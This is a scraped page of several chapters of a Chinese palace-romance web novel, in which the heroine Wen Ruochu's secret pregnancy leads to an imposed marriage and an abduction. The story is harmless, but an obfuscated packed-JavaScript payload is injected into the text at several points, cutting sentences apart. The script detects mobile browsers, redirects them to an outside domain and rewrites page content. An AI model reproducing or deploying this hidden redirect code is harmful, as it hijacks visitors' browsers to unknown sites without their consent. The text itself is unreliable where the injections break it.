凄厉的哭喊声逐渐停歇,安王松了一口气,额头上渗出一层冷汗,眼神呆滞,像是被吓傻了。 女皇瞅了一眼温清柔被拖走的方向,板着脸轻哼一声。 “朕是老了,可朕没瞎。” 安王重重磕头,“谢母皇还儿臣清白。” “自己清不清白自己知道,回去好好反省,再在朕身上打乱七八糟的主意,你这个亲王也别当了。” 女皇揉了揉太阳穴,朝众人摆了摆手。 “朕累了,都退下吧,小初留下。” 众人走后,温若初让胡庸又给女皇诊了一次平安脉,确定身子无恙,才彻底放下心。 温若初坐在床榻边,纤细白皙的手指,沾了两滴杏仁油,不轻不重按摩女皇太阳穴。 女皇闭着眼睛躺在床榻里,一脸疲态。 “方才朕发脾气没吓到你吧?” 温若初摇了摇头,“小初得知圣人被奸人算计才吓到了,万幸圣人有天神庇佑,有惊无险,小初回去要去庙里还愿了。” 女皇睁开眼睛,慈爱而怜爱地看着温若初。 “今日可多亏了你了,朕瞧着你最近闷闷不乐的……”像是想起什么似的,叹了一口气,“……也是,博阳侯府就你自己一个人,连个说话的人都没有,要不你住到宫里来吧?” “到朕身边来,咱们祖孙两个能天天见面。” 伴君如伴虎,女皇发脾气的样子,现在还在她脑海走马灯似的循环播放,她可不敢整日在女皇面前转悠,干点什么坏事,都逃不过女皇的眼睛,太难受了。 温若初扯了扯嘴角,“多谢圣人,圣人忙于国事,小初不敢打扰,小初一个人住得挺好的。” “年轻人多挪挪地方,那这样,朕的西郊行宫赐给你做郡主府,那边有温泉,花开得也艳。” 女皇坐起身,拉过温若初的手,轻轻拍了两下,“朕给你的东西,莫要推辞。” “多谢圣人。” “朕老了,那些人心思活络起来,你说……这大虞江山朕该传给谁呢?”女皇闲聊似的问温若初。 类似的话前阵子温若初问过沈惊澜,私下议论是一回事,当着圣人的面说就是另一回事了。 温若初赶紧跪地,“小初惶恐,小初不过是后宅女子,事关国本,小初不敢妄议,小初只惦记外祖姑母身体安康,长命百岁。” “起来,起来。” 女皇拉着她的手,虚扶她起身。 “力排众议创办女学,敢当面怒怼雍国使臣,还救了朕的性命,你哪里是寻常的后宅女子,这天底下大多数男子都不如你。” “外祖姑母如此夸赞褒奖小初,小初可是会得意的。”温若初半开玩笑。 “有本事当然可以得意,又没忘形。” 温若初嘴角弯了弯,抬眼看向女皇,互相打趣几句,气氛忽然安静下来,女皇神色专注地看着她,好像在透过她的这张脸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男子自我介绍,“小的唐华,受圣人之命服侍郡主。” 第99章 有仇 温若初一下子就反应过来女皇赐给她郡主府,又安排了这么一个东西过来的用意。 只是这个叫唐华的,搭眼一看就是极度依赖人的小奶狗类型,实在不是她的菜。 她尴尬地笑了笑,“那个……你忙你自己的就行,我不用你服侍。” 唐华收起脸上笑意,瘪了瘪嘴。 “郡主没瞧上,不喜欢唐华。” 说话的时候眼眶发红,像是受了委屈。 “这不是你的错,圣人那边你也不必担心,我自会去解释。” 温若初有些头疼,好言安抚这只小奶狗。 “实不相瞒,我已经有人伺候了,没听说过那句话,一张床只能睡两个人,三个人就挤了。” 唐华急着表明态度,“我不怕挤,我睡地板也成。” 圣人说郡主心情不好,让他务必小心谨慎伺候。 温若初:“……” 这人有点难缠,还没眼力见。 像是突然想起什么事似的,一拍脑袋,“哎呀,瞧我这记性,差点忘了,我还有点事,今天就先到这。” “哎……” 温若初说完连院门都没进,赶紧扭头离开,逃也似的登上马车。 坐在马车里喘了好几口气才平复过来,让冯文去给那个叫唐华的五十两银子娶个媳妇种点田,她可不想回郡主府的时候,整天看见一个奶呼呼的大男人在她面前转悠。 “先回侯府。” 这两日上京城内人流密集处都张贴着上官的悬赏令。 自打圣人体内蛊毒被逼出来之后,就一直没找到上官身影,后来,后宫发现一个小太监的尸体。 尸体埋在雪堆里,还是野狗刨雪的时候,被宫人发现的,太监身上穿的衣裳被扒走了,猜测上官打**小太监,穿着小太监的衣裳溜出了皇宫。 对圣人下蛊毒,罪同行刺,是抄家灭族的大罪。 上官失踪,只能拿温清柔当突破口。 大理寺的人审问了温清柔,还动了大刑,也没得到上官**的任何有关线索,得到的有用消息,上官是来报仇的,具体什么仇什么怨,温清柔也不知。 或许是温若初想多了,总觉得上官的仇不只是针对女皇,还稍带上了她。 不然像上官那样一个奇人,又怎么会选择和温清柔合作? 一大早温若初得知上官逃走的消息,去了一趟宫里,紧接着马不停蹄赶往禁军营。 凌玄礼一身金色铠甲,对着上京舆图吩咐下属布防抓捕上官,见温若初来了。 偏头看了过来,“若初郡主,有事?” 温若初穿着一身素色袄子,身披银狐裘大氅,细软的毛皮领子遮住她小半张脸,路上走得急了,脸颊上泛着坨红,衬得原本娇俏灵动的人多了几分娇弱之态,眼神却格外坚定。 温若初看着凌玄礼,定定道。 “去骑兵营,守株待兔。” 三个月前,也就是她刚穿越过来没多久,深知虎符关乎着无数人的性命,早早嘱咐过芳若将虎符换成假的,放置于女皇寝宫。 方才特意进宫问了芳若,那枚假的虎符不翼而飞,结合小太监**,上官失踪。 温若初判断是上官偷走了虎符。 温若初虽然改变了自己和沈惊澜的命运,这本书的故事走向好像并没有改变。 上官偷走虎符,十有**是要调动大虞骑兵。 简单了凌玄礼解释了真假虎符,凌玄礼越听脸色越凝重,对温若初行了一个抱拳礼。 “多谢。” 走到门口,顿住脚步,回头看向温若初。 “今日军务繁多,招待不周请见谅,一会我命人送郡主回去。” 为赶时间,温若初是独自骑马来的。 “我自己能回去,你赶紧带人去抓上官。” 书中没有上官这号人物,温若初还挺好奇,上官到底是什么人? 凌玄礼点了一下头,走了。 温若初在屋里烤了一会儿火,身子暖和了正要准备回去,一个看起来年纪不大的小兵走了进来。 “郡主,马车准备好了。” 马车好像是临时找来的,车头悬挂的木牌上刻着一个“李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455746|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”字,温若初钻进马车,车内铺着厚厚的软垫,一看就很暖和。 凌玄礼这人除了臭脸,脾气直了一些,人还是不错的,心细程度和沈惊澜有的一拼,两人不愧是好朋友。 “代我谢谢你们将军。” 马车在博阳侯府门前停下,刚下车三声布谷鸟叫有节奏地传进温若初的耳朵。 沈惊澜走后,追风并没有跟着沈惊澜同回雍国,偶尔在她面前转悠一圈,好像从沈惊澜的狗腿子,变成了她的狗腿子。 三声布谷鸟叫,是两人约定的信号。 送她的马车走后,也不知道追风从哪里钻出来的,从身后叫她。 “郡主。” 温若初四下看了看,人来人往的不方便,从后门去了醉仙楼,让掌柜安排了一间房间,又点了几道菜,包括她平常爱吃的麻辣兔头。 掌柜的关上门,追风端详温若初脸色。 “脸色不大好,病了?” “有吗?” 温若初下意识揉了揉脸,“昨晚睡得挺好的。” 她最近比平常睡得还多,可能是让上官的事闹的。 温若初坐在圆凳上,琢磨一会儿,适时地把话题拉了回来。 “说吧,什么事。” 追风不见外地坐到温若初对面,漫不经心地捡了一颗花生米扔嘴里。 “凌妙,来管我要银子。” 温若初理亏地倒吸一口冷气,凌妙和温清柔两个人是打定主意要买她的人头,前前后后在天机阁花了近一万两银子。 因为告发上官,安王府跟着吃瓜落,温若初算是又一次得罪了回安王府。 温清柔被羁押在大理寺,她还在外面活蹦乱跳的,凌妙想除掉她的心,估计比石头还坚定。 只是,这一万两银子追风都转交给了温若初,温若初又把这些银子通过女学用到了别处。 银子花都花了,这时候往回要,她可没有。 有也不给! 买命的钱,哪有往回要的。 温若初端起茶盏,抿了一口茶。 “你怎么回凌妙的?” 第100章 若初郡主“病”了 凌妙通过温清柔的居间人找到追风,上来就厉声责问。 “温若初的人头到底什么时候能取下来。” 追风脸上戴着面具,不以为意道,“这位小姐,**不是那么一刀下去人头落地的事,需要提前部署,讲究天时地利人和,还没等到时机。” 凌妙气得捶胸顿足,大着肚子不好过于生气,她算是看出来了,天机阁就是花架子,哪有温清柔说得那么厉害。 “人不用你们杀了,我要退单,把银子还给我。” 追风貌似特别平易近人,客户的需求必须满足。 “退单,当然可以,”话音一转,“不过……” “不过什么?你们天机阁在江湖上可是响当当的名号,还想赖账不成?” “赖账不是我们天机阁的行事作风,我们天机阁向来光明磊落,只是……当初给我银子的是那位温小姐,退银子也得退到温小姐手里。” 追风早知道温清柔被关押大理寺,十有**是要交代在大理寺,出不来了。 继续对凌妙说道,“和我对接的也一直都是温小姐,我若是把银子退给您,回头温小姐找我要怎么办?” 凌妙声音陡然尖厉起来。 “温清柔给你们的银子,都是我给她的!” 父王已经知道了她偷卖家里东西雇凶**的事,赶上父王被圣人禁足,心情不好,为此还挨了两巴掌。 父王还警告她不准招惹温若初,可父王这次被圣人责骂,禁足在府,就是温若初在背后搞鬼。 叫她如何能忍下这口恶气,天机阁不行,还有别的**组织,总有一个中用的。 前提是必须把花在天机阁的银子要回来。 追风笑了笑,“那是你们两个之间的事,退单,银子只能退给温小姐,要不……您让温小姐过来,我立马把银子退给她。” 凌妙气结,温清柔若是能出来,她何至于亲自来。 “你!给我也一样,快把银子还给我。” “那不行,谁给我银子,我退给谁。” “你!” 凌妙瞪大眼睛,瞪着追风,半天说不出话。 “你等着!” 追风还特意等了几日,也没见凌妙有任何动作,追风出去接业务的时候,都是在外面,凌妙是拿追风一点辙都没有。 “哈哈哈哈哈” 温若初听追风绘声绘色描述那日凌妙要银子的场景,笑了好长时间,她甚至能想象到凌妙气急败坏,又什么都不能做的样子。 真真是应了那句话,在生气和窝囊之间,选择了生窝囊气。 温若初朝追风伸出一个大拇指。 “干得好!” 说着话,酒菜已上齐。 温若初笑了一会儿,狐疑地看着追风。 “凌妙都被你打发走了,你还来找**什么?”还以为追风来管她要银子的,白担心一场,虽然她也没想给。 追风拿着一只鸡腿,吃得满嘴流油,不好意思地笑了笑。 “我这不是有一阵子没吃肉了,来找郡主您打打牙祭,我特别愿意跟着您,跟着您有吃有喝,可比跟着我们阁主享福多了。” 温若初顺着追风的话茬,故意逗他。 “那你以后当我暗卫,我天天供你酒肉。” “那不行,我们阁主对我有恩,我不能忘恩负义……”追风嘴里塞着肉,含糊不清地说。 扯下另一个鸡腿放到温若初碗里,“别光看着我吃啊,你也吃。” 满桌子的鸡鸭鱼肉,醉仙楼师傅的手艺不错,追风吃得也香,若是平常,温若初定会和追风一起吃个痛快,说不定高兴了还会喝上两盅酒。 最近也不知怎么回事,莫名的胃口不好。 温若初看着碗里烤得外酥里嫩的鸡腿,两条柳眉蹙了蹙,不仅没有想吃的欲望,反而有点反胃。 温若初捏着筷子,戳了两下,脆皮戳出一个不规则的洞,露出里面嫩白肉块,几次想夹起来,还是一点胃口都没有,放下筷子。 “我不饿,你吃吧。” 端起茶盏,喝了一口茶水,翻涌的胃稍稍舒服了一些。 追风美美地吃完一顿大鱼大肉,温若初道。 “帮我办件事。” “什么事?” “郡主府,就是原来的西郊行宫,有一个叫唐华的人,帮我弄走。” 想起唐华细胳膊细腿委屈巴巴的模样,又是女皇派去的人,补充道。 “弄走的时候客气点,不让他赖在那就行。” “包我身上!”追风拍着胸脯保证。 温若初放心了,想着明日可以去西郊郡主府转转了。 等她回博阳侯府的时候,门口停着一辆马车,一看就不是侯府的马车。 温若初不明所以,秋菊早已等在门口,拉着温若初到一边控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455747|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉。 “有一个自称唐华的人来了,还说是奉圣人口谕服侍您,自来熟似的,来了就找厨房,自己占了四个灶台,说是要给您做药膳,叮里咣当的。” 温若初:“……” 为了躲这个唐华,她连圣人赐的郡主府都没来得及逛一逛,他可倒是好,追到博阳侯府来了。 温若初打定主意,今天必须把这个唐华撵走。 怒冲冲走到厨房的时候,唐华扎着围裙在厨房里转来转去,一会掀锅盖,一会回头切菜。 厨娘帮厨和杂役们站在厨房门口,无奈又气恼地看着唐华就这么占用了他们的地盘。 见温若初过来,厨娘们像是见到救星似的。 “郡主,您可算是回来了,您瞧瞧,他不让我们进厨房,我们是厨子,不进厨房我们去哪烧饭,您给个痛快话,还用不用我们?” 唐华听到动静,恰巧一道菜出锅,眉眼含笑地招呼温若初。 “呀!郡主您回来了,我做了肘花汤,您尝尝。” 说着盛了大半碗汤和一大块肥肉端过来。 温若初现在看到肥肉就生理的不适,眼瞅一大块肥肉过来,吓得直往后退,捂着嘴巴。 “我不要,拿走!” “我特意用香料煨过的,味道不一样,郡主尝尝嘛!”唐华不依不饶。 温若初就往后躲,地湿路滑,急着躲唐华递过来的肉,没注意脚下,一个不慎,脚下一滑,脑后一阵刺痛传来,紧接着两眼一黑,失去意识。 温若初摔倒在地,眼睛紧闭。 众人:“……” 空气安静了一瞬,众人慌里慌张炸开了锅,一个个神色慌乱,七嘴八舌地围着温若初叫喊。 “郡主!郡主你怎么了?醒醒啊?” 唐华也不执意让温若初吃汤了,面色肉眼可见地慌张。 “快,快去请大夫,把郡主抬屋里去。” 有人说府医张大夫老婆生孩子,张大夫这几日告假了。 唐华放下汤碗,“我去宫里请御医。” 郡主因他受伤昏迷,他得赶紧去圣人面前请罪,不然他十个脑袋也不够赔的。 一炷香后,御医到,指腹搭在温若初手腕脉搏,两息后,先是面色一喜,后又为难起来,情绪转变很是古怪。 芳若站在温若初床边,神色难掩焦急和关切。 “若初郡主怎么样了?” 第101章 安胎药 芳若瞧着御医眉心紧蹙,似有难言之隐,挥了挥手,让屋里下人们都退了出去。 御医起身,“郡主磕到了后脑勺,只是短暂晕厥,休息一阵子就会转醒,并无大碍,只是……” “只是什么?” 郡主若是个已婚妇人,这就是天大的喜事,可偏偏郡主是未出阁的姑娘…… 御医犹豫半晌对芳若拱手道。 “郡主,怀了身孕了。” 芳若愣了愣,瞅了一眼躺在床上尚在昏迷中的温若初,接着问御医。 “多久了?” 御医捋了一把花白胡子,他可是妇科圣手,只是当今圣人是女子,没有他发挥的余地,听见芳若追问,颇为自信地答道。 “十二天,上个月二十八。” “下去吧,郡主有身孕之事,不可对旁人提及。”芳若神色严肃地叮嘱。 “芳若掌使尽管放心,老夫懂规矩。” 勤政殿 女皇靠坐在龙椅里,身上带着一股上位者的压迫感,冷眼看向跪在殿前的冯文。 “上个月二十八,小初去哪了?或者谁去小初那了?” 冯文不知道圣人为何突然传他回话,莫不是郡主染上了不治之症? 生病哪有挑日子的! 最近郡主去的地方有点多,冯文大脑都快转冒烟了,回想上个月二十八…… 不就是沈惊澜走的那天。 “回圣人,上个月二十八,郡主在禁军营。” 禁军是凌玄礼暂时负责,女皇明显松了一口气。 “他们都干什么了?” 女皇的接连追问,冯文心里越来越没底,脸上冷汗直冒。 “郡主哪也没去,也没做什么出格的事,只是和凌大人吃了一顿饭,好像还喝了两口酒。” “小初可是宿在了玄礼住处?” 冯文才反应过来,女皇用意,郡主可能是有了? 可郡主和凌大人之间,平常也没见多要好了,郡主反而背地里说凌大人古板,不好相处。 他脑子不够用,一时间捋不清怎么回事,他不过是一个小人物,有心替自家郡主隐瞒,面对女皇的威仪,还是怂了,只能实话实说。 磕磕巴巴答道:“……是……是。” 那晚他被安排和士兵同住,郡主确实是没回府。 女皇脸上露出喜色,“下去吧,回去照顾好小初。” “是。” 冯文走后,女皇嘴角翘起,拍了两下大腿。 “凌玄礼爹娘走得早,是个秉性纯良的孩子。” 芳若面带笑意,顺着女皇的话茬。 “若初郡主最近没少去禁军营那边,前几日奴婢还李大人提起,凌大人临时借了他们家的马车送郡主回去,是个心细会疼人的。” 女皇脸上笑容愈发灿烂。 “朕心里这块石头总算是落下来了,之前朕还担心,小初都快二十了,也没找到可托付之人,这下好了,过了年朕就能抱上曾孙了。” 主仆二人激动了好一阵子,连孩子将来缔结的亲家都快选好了,女皇突然想起正事没干呢,吩咐芳若。 “赶紧拟旨,孩子长得可快,可等不得。” 另一边,博阳侯府苍兰苑。 温若初睡了近两个时辰,迷迷糊糊睁开眼睛,后脑勺还隐隐的刺痛,呲牙咧嘴揉了揉。 等她彻底清醒,看到床边矮凳坐着一人,身穿铠甲,脊背绷得笔直,满面愁容。 “凌玄礼!” 温若初瞪大眼睛,猛地坐起身,下意识抓着被子往身上盖了盖,一脸懵,四下看了看,确实是她的房间。 惊诧的目光落在凌玄礼身上。 “凌大人……你……你怎么会在我房间?” 见凌玄礼一身戎装,无来由地来了一句,“上官抓到了?” 凌玄礼长长地叹了一口气,“没有。” “那你来我这干嘛?” 温若初想破脑袋也想不明白,凌玄礼这人正得都发邪,绑着他估计都不会走进女子房间,更何况她的卧房内只有他们二人,门还是关着的。 没等凌玄礼开口说话,房门被扣响,伴随着秋菊的声音。 “郡主,是我。” 秋菊可是她的贴身女使,平常进她的房间不用敲门的,突然敲门,像是她和凌玄礼之间有什么似的。 温若初两条柳眉微微蹙起,一肚子问题。 “进来吧。” 秋菊推门进来,眼角眉梢都带着喜庆的笑意,手里端着一个梨花木雕花托盘,托盘上放着一碗汤药,和一小碟蜜饯。 秋菊对凌玄礼微微屈膝行礼,汤药和蜜饯放到温若初床边矮柜上。 “郡主,药熬煮好了,不冷不热现在喝正好,蜜饯都是挑肉多糖霜挂得也多的。” “什么药?” 浓烈的苦药味扑面而来,温若初捏着鼻子往后躲。 “就是……” 凌玄礼出声打断秋菊,“你先下去吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455748|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是。” 门板合拢,房间内又剩下两人,凌玄礼又唉声叹气起来,温若初忍不住催促,他才说道。 “你……有了身子,圣人也不知怎么就误会了……” 温若初脑袋嗡的一声,下意识抚了抚小腹,她肚子里有孩子了? 她和沈惊澜……拢共也没几次啊。 又抬眼看向凌玄礼,“你刚刚说,圣人误会这孩子是……” 凌玄礼都快愁坏了,点点头。 上官到底是没抓住,他命人去骑兵营守株待兔,一连蹲守几日,也不见上官身影。 凌玄礼正和骑兵营的马军都指挥使商谈抓上官,圣旨就到了。 加封他为亲王,赐婚他和温若初,还赏赐了好多东西。 然后就被几个宫人“请”到温若初房间了。 到这里才知,温若初怀了身孕,圣人让他兼顾军务的同时,多多照顾温若初。 温若初听后,傻眼了,瞅了一眼汤药。 “这是安胎药?” 这都叫什么事啊? 她和沈惊澜荒唐就算了,怎么还把凌玄礼扯了进来。 一脸歉意地看向凌玄礼。 “那个……对不住啊,你放心,绝对不会把你连累进来,我这就去向圣人解释清楚。” 说着腿伸下床,就要穿鞋。 “等等!” 凌玄礼抓住她胳膊,“谨之走之前托我照顾好你……” 沈惊澜走的那天,说他很快回来。 当时凌玄礼不置可否,雍国局面四分五裂,沈惊澜的确是解除了质子身份回国,可到底为质多年,又无母族帮衬,雍国老皇帝病重,沈惊澜回去之后的境况…… 凌玄礼想着,应该也不会好,人微言轻的,雍国老皇帝有十三个儿子,手足相残较大虞有过之而无不及。 身为皇子,即便无心江山社稷,稍有不慎,就会卷入夺嫡纷争,丢了性命。 沈惊澜身单力薄,自顾不暇,如何回来娶温若初?十有**是回不来了。 可温若初一介未婚女子,又怀了身孕,日后在上京城怕是处境艰难,孩子未婚所出,更是难以自处。 “你若是愿意……这门婚事,就暂行定下,至少要先给孩子一个优渥环境。” 凌玄礼说完这句话,耳根泛起一片潮红,顿了顿,像是怕温若初误会似的,很快又跟着补充解释一句。 “是……谨之托我照顾你的,你别多想。” 第102章 大虞喜事 勤政殿 宫人通传过后,温若初走进殿内,扯着裙摆要行礼,女皇亲自走下来,扶住温若初,掌心有些干,却暖暖的。 “你有了身子,要当心些,日后这些虚礼就免了。” 让人抬进来一把软椅,让温若初坐。 温若初屁股刚挨上椅子,像是屁股碰到钉子似的,弹了起来。 她是来向女皇认错的哪里敢坐下。 滑跪在地,“小初不孝,让外祖父母挂心了,”一个头重重磕在冰冷青石地面上,“请圣人收回赐婚旨意。” 女皇吓了一跳,不明所以地看着她。 “你这是何意?” 温若初深吸一口气,坦然道。 “孩子不是凌大人的。” 凌玄礼说受沈惊澜之托照顾她。 若是因为一个误会被迫娶她,那这“照顾”得也太彻底了,人家凌玄礼还没成亲呢,她肚子里揣着沈惊澜的崽,娶了她算怎么回事? 她若是直接嫁过去倒是省心了,可也耽误了凌玄礼。 她和沈惊澜之间的事,没必要把凌玄礼拖进来,她宁愿自己寻一无人认识之所,带着孩子过活。 女皇冷声质问,面色如暴风雨来临前的黑云。 “谁的?” 芳若从殿外进来,脚步略急,打断温若初和女皇说话。 “圣人,边关传来急报,禹郡昨夜遭雍国士兵袭扰。” 禹郡位于雍国和大虞交汇处,也是沈飞白率领使团来大虞求和,作为赔礼划归到大虞三座城池之一。 女皇听后脸色大变,眉头拧成了一个“川”字。 怒声道:“这雍国背信弃义!才刚签订和约,割让了三座城池,如今竟公然毁约,进犯我边境!当我大虞无人吗?” 上次沈惊澜来找她,话里话外曾暗示,边境三城是沈飞白属地,不是真心求和。 算算日子,雍国使团应该在回雍国的路上,袭扰边境不管有没有沈飞白授意,都不能就此善罢甘休。 “传朕旨意,即刻召集群臣进宫议事,商讨应对之策。还有,速派人前往禹郡,命当地驻军务必坚守防线,不得让雍**子再进一步!” 芳若领命匆匆离去。 女皇坐回椅子里,目光落在温若初身上。 “孩子谁的?” 女皇脸上怒意未消,板着脸又问了温若初一遍之前的问题。 温若初来的时候信心十足,原打算的挺好,实话实说,反正女皇曾把沈惊澜当做面首送给她,一不小心怀了崽子也很正常。 可这突然传来的边关急报…… 女皇正在气头上,她若说这孩子是沈惊澜的,女皇没准一怒之下,拿她的孩子去祭旗。 到嘴边的话,硬是被堵回肚子里。 温若初跪坐在地,丧眉搭眼,哀莫大于心死,心累地叹了一口气。 只能顾左右而言他,不正面回答问题。 “小初和凌大人之间没感情。” “休要胡闹!” 女皇以为温若初和之前一样,又在耍小脾气,毕竟温若初在她这有前科,和凌玄澈起腻的时候,就隔三岔五的闹别扭,到她面前告状。 “孩子都有了,现在说没感情?” 女皇继续道:“钦天监算过,下个月十六是黄道吉日,朕已命礼部准备大婚事宜,趁着肚子看不出来,赶紧把亲事了了,朕还等着抱曾孙呢。” 前来议事的大臣已陆续等候在殿外,女皇对温若初挥了挥手。 “朕还有政务,退下吧。” “是。” 若初郡主和禁军统领凌玄礼大婚,婚期定在下月十六。 都知若初郡主深得圣人宠爱,若初郡主的婚事,算得上是大虞的一件喜事,礼制同公主。 消息一出来,像是长了翅膀一样,传遍上京每个角落。 博阳侯府和将军府张灯结彩,两家主子高不高兴不知道,下人是挺高兴的,每日忙着婚仪采买,私下往来日益增多,不亦乐乎。 就连温承义夫妇得了温若初即将大婚的信,得到温若初允许后搬回侯府。 或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455749|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看温乐生脱胎换骨,心里欣慰,也是真心感激温若初给了一个机会。 也或许是念在温乐生是凌玄礼帐下的兵。 夫妇二人也像个长辈一样,帮着忙里忙外。 人类的悲喜并不相通,这门亲事貌似也在悄无声息地改变着大虞的政局。 安王府一片愁云惨淡,自上官对女皇下蛊毒东窗事发,凌肃被女皇下令禁足,凌肃就像是被遗忘了似的,一直禁足到现在,无人问津。 凌肃整日对着经过院子的飞鸟唉声叹气,温若初和凌玄礼大婚的消息传进来之后,凌肃不叹气了,整日把自己关在书房,谁也不见,人都瘦了好几圈,远远看起来莫名多了几分仙风道骨意思。 安王妃也跟着整天抹眼泪。 凌玄庆和王安如的婚事彻底告吹,凌玄庆被安王家法惩治了一顿之后,就像变了一个人一样,整日流连风月之地,常常是醉酒回来的。 反倒是凌妙一个寡妇大着肚子,劝完这个劝那个,勉强撑着安王府。 上京城内,比安王府听到温若初和凌玄礼大婚消息还要绝望的,另有一人。 随着沈惊澜的回国,天机阁的重心也转移去了真正的“战场”雍国。 有间书坊除了追风,李掌柜,还有两个小厮留守外,其余骨干大多去了雍国。 追风手下人手不足,获取消息难免没有之前得心应手。 温若初和凌玄礼大婚的消息在上京都传开了,追风才知道。 刚烙出锅的大饼都没来得及吃,就匆匆从笼子里抓出一只信鸽,消息绑在腿上,朝雍国方向放了出去。 阁主离开上京之前,交给他的第一个任务就是保护温若初安全,有任何状况及时传信。 温若初都被别人拐跑了,他这边才得到消息,视为失职。 追风望着信鸽远去的方向,无精打采的。 他闯了这么大的祸,这次阁主不知道要如何惩罚他,弄不好过两日阁主就要杀回来了。 吃大饼的心情都没了。 第103章 抢亲 婚期临近,一大早礼部把婚服送到博阳侯府让温若初试穿。 婚期和凌玄礼的加封亲王礼在同一日,就显得愈发隆重了一些。 大红婚服花样繁冗精美,穿脱复杂,秋菊月儿还有几个宫人一起帮温若初试穿。 或许是怀有身孕的原因,身子容易疲乏,折腾了半炷香的时间,折腾得温若初都有点累了。 也没人告诉她,成个亲这么累啊。 秋菊要给她佩戴背云,温若初赖唧唧地瘫在椅子里,说什么都不肯起来。 “行了,挺好的,我累了,让我歇一会,你们先出去吧。” “奴婢熬碗鸡汤,吊吊精神?”月儿关切道。 温若初下巴垫在椅背上,对月儿摆摆手。 丫鬟和几个宫人行礼后退了出去。 温若初打了一个哈欠,眼皮直打架,栽卧矮榻里,眯着眼睛养精神。 她和凌玄礼没有感情基础,又怀着沈惊澜的崽子,无意这门婚事。 女皇那关又过不去。 温若初和凌玄礼约定好,暂时顺着女皇把亲结了,等生完孩子之后,在寻个由头和离。 带着孩子逍遥自在地活着,哪怕有朝一日女皇驾崩不能护着她了,她手里还有一块免死金牌,至少能保证她和孩子顺遂无虞。 只是如此一来,对凌玄礼有点不公平,但这也是没办法的办法。 其实,最稳妥的法子是一碗堕胎药拿掉这个孩子,温若初若是站在旁观者的角度,也定然会劝拿掉孩子。 事落在自己头上,孩子的到来就像是触发了她的某根神经似的,孩子和她融为一体,温若初是无论如何都舍不得的。 除了身子容易疲乏,倒也没有太多的不适,每日生活吃了睡,睡了吃,身材不见丰腴,反而消瘦了一些。 温若初迷迷糊糊,躺在床榻上打盹。 没注意窗户纸被戳破一个小洞,一支燃着青烟的香悄无声息地顺着破洞伸了进来…… 温若初意识全无,身上还穿着大红喜服,翻越了千山万水,出现在通往雍国官道一个不起眼的小镇子的客栈里。 女子一身喜庆婚服,一头如墨长发肆意铺散,几缕发丝俏皮地垂落在白皙脸颊,更衬得她肌肤胜雪,双眸闭合,墨长而卷翘的睫毛似蝶翼轻覆,随着呼吸微微颤动。 那样肆意洒脱的人,此时眉心是微微蹙着的,像是有什么解不开的烦心事。 沈惊澜得了追风消息,马不停蹄地赶在温若初大婚之前折返回了大虞上京。 又用**迷晕了温若初,偷偷把人带来出来。 追风传递的消息中,只说温若初和凌玄礼大婚,并无前因后果,温若初身怀有孕一事,女皇为保温若初名声,除了几个知情人和贴身伺候的下人外,无人知晓,追风不知内情。 沈惊澜忙于处理沈飞白,无暇顾及上京,自然也不知晓。 原本是想留沈飞白几日,可沈飞白曾对温若初动过心思,那便留不得了,眼下沈飞白已老实,使团完全落到沈惊澜手里,办事方便了许多。 温若初一连睡了好几日,也不见温若初有醒过来的迹象,沈惊澜坐不住了,怀疑是迷香用量多了,把人迷傻了。 赶紧命使团停止赶路,就近在镇子上歇息一日,古叔已先行抵达雍国都城,使团里没有大夫,沈惊澜让范天恩去请郎中过来。 边陲小镇没有妙医圣手,十里八乡有一个郎中还是个半吊子,被请了过来。 郎中眉心紧蹙,搭上温若初腕上脉搏,须臾后,面露喜色。 